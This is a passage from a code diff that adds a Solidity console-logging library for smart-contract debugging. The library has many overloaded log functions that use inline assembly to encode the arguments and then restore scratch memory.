+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,address,uint256)`.
+            mstore(0x00, 0xa75c59de)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,address,string)`.
+            mstore(0x00, 0x2dd778e6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,bool,address)`.
+            mstore(0x00, 0xcf394485)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,bool,bool)`.
+            mstore(0x00, 0xcac43479)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,bool,uint256)`.
+            mstore(0x00, 0x8c4e5de6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,bool,string)`.
+            mstore(0x00, 0xdfc4a2e8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,uint256,address)`.
+            mstore(0x00, 0xccf790a1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,uint256,bool)`.
+            mstore(0x00, 0xc4643e20)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,uint256,uint256)`.
+            mstore(0x00, 0x386ff5f4)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,uint256,string)`.
+            mstore(0x00, 0x0aa6cfad)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,string,address)`.
+            mstore(0x00, 0x19fd4956)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,string,bool)`.
+            mstore(0x00, 0x50ad461d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,string,uint256)`.
+            mstore(0x00, 0x80e6a20b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,bool,string,string)`.
+            mstore(0x00, 0x475c5c33)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,address,address)`.
+            mstore(0x00, 0x478d1c62)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,address,bool)`.
+            mstore(0x00, 0xa1bcc9b3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,address,uint256)`.
+            mstore(0x00, 0x100f650e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,address,string)`.
+            mstore(0x00, 0x1da986ea)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,bool,address)`.
+            mstore(0x00, 0xa31bfdcc)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,bool,bool)`.
+            mstore(0x00, 0x3bf5e537)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,bool,uint256)`.
+            mstore(0x00, 0x22f6b999)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,bool,string)`.
+            mstore(0x00, 0xc5ad85f9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,uint256,address)`.
+            mstore(0x00, 0x20e3984d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,uint256,bool)`.
+            mstore(0x00, 0x66f1bc67)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,uint256,uint256)`.
+            mstore(0x00, 0x34f0e636)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,uint256,string)`.
+            mstore(0x00, 0x4a28c017)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,string,address)`.
+            mstore(0x00, 0x5c430d47)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,string,bool)`.
+            mstore(0x00, 0xcf18105c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,string,uint256)`.
+            mstore(0x00, 0xbf01f891)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
